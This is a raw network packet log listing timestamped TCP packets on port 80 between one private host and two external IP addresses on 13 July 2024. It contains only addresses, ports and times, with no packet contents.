Jul 13, 2024 07:07:05.826277018 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826282978 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826303005 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826313972 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826313972 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826318979 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826335907 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826342106 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826342106 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826350927 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826369047 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.826376915 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826376915 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826390982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826436043 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826452017 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826467037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826467037 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.826503992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.826503992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.826545000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826560974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826611042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.826870918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826914072 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826931000 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826946020 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826961994 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826971054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.826971054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.826977968 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.826994896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.826997042 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827011108 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827014923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827028036 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827033043 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827047110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827053070 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827053070 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827064991 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827073097 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827091932 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827131987 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827132940 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827150106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827183008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827198982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827214003 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827228069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827228069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827229023 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827248096 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827255011 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827255011 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827275038 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827295065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827471972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827497959 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827513933 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827528954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827543974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827549934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827584982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827584982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827831030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827847004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827862978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827878952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827879906 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827893972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827908039 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827908039 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827912092 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827928066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827929020 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827945948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827954054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827955008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827965021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827979088 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.827982903 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.827994108 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828011036 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828028917 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828249931 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828265905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828279972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828295946 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828310966 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828318119 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828325987 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828340054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828342915 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828360081 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828360081 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828377008 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828377008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828392982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828397989 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828419924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828437090 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828628063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828644037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828658104 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828681946 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828685045 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828685045 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828700066 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828706980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828716993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828735113 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828738928 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828756094 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828758955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828758955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828773022 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828778982 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828789949 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.828804016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.828824043 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829175949 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829191923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829206944 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829221964 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829222918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829221964 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829240084 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829247952 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829248905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829256058 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829267979 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829272985 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829289913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829296112 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829296112 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829315901 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829334974 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829509974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829525948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829544067 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829560041 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829571009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829571009 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829605103 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829605103 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829657078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829683065 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829698086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829714060 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829729080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829730034 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829745054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829749107 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829761982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829773903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829773903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829778910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829794884 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829794884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829813004 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829819918 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829819918 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829828978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829839945 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829847097 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829859972 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829864025 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829880953 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829886913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829886913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829896927 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.829906940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829922915 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.829952955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830578089 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.830593109 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.830607891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.830622911 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.830636024 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830636024 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830638885 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.830655098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.830657005 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830672026 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.830682993 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830682993 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830702066 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830709934 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.830722094 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.830796003 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.830810070 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.830847979 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.830857038 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.830857038 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.830862999 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.830904007 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.830993891 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.831010103 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.831023932 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.831039906 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.831056118 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.831058025 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.831058025 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.831079006 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.831079006 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.831110954 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.831151962 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.831152916 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.832528114 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.832544088 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.832560062 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.832598925 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.832598925 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.832628965 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.832643986 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.832659960 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.832700014 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.832700014 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836354017 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836397886 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836404085 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836437941 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836525917 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836560965 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836600065 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836615086 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836637974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836656094 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836728096 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836743116 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836759090 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836783886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836783886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836801052 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836821079 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836837053 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836852074 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836863995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836869001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.836895943 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836895943 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.836941004 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.837487936 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837527990 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837537050 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.837543011 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837601900 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.837641954 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837656975 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837671995 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837683916 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.837687969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837713957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.837713957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.837745905 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.837752104 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837766886 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.837832928 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838386059 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838399887 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838416100 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838439941 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838469982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838548899 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838571072 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838587046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838604927 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838608980 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838608980 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838608980 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838638067 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838648081 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838663101 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838677883 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838694096 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.838720083 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838720083 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.838763952 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839323997 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839370966 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839380026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839395046 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839443922 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839443922 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839457035 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839473009 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839488029 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839510918 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839510918 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839582920 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839585066 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839597940 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839612961 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839629889 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.839664936 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.839664936 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.840348005 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840363026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840383053 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840409994 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840420961 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.840420961 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.840425968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840440989 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840456963 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840486050 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.840486050 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.840517044 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.840559959 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840575933 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:05.840605974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.840605974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:05.864427090 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864527941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864566088 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864598989 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864634037 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864670038 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864680052 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.864680052 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.864680052 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.864708900 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864718914 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.864739895 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.864756107 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.864788055 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880104065 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880152941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880211115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880247116 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:05.880264997 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:05.880264997 CEST	58982	80	192.168.2.5	77.91.77.81
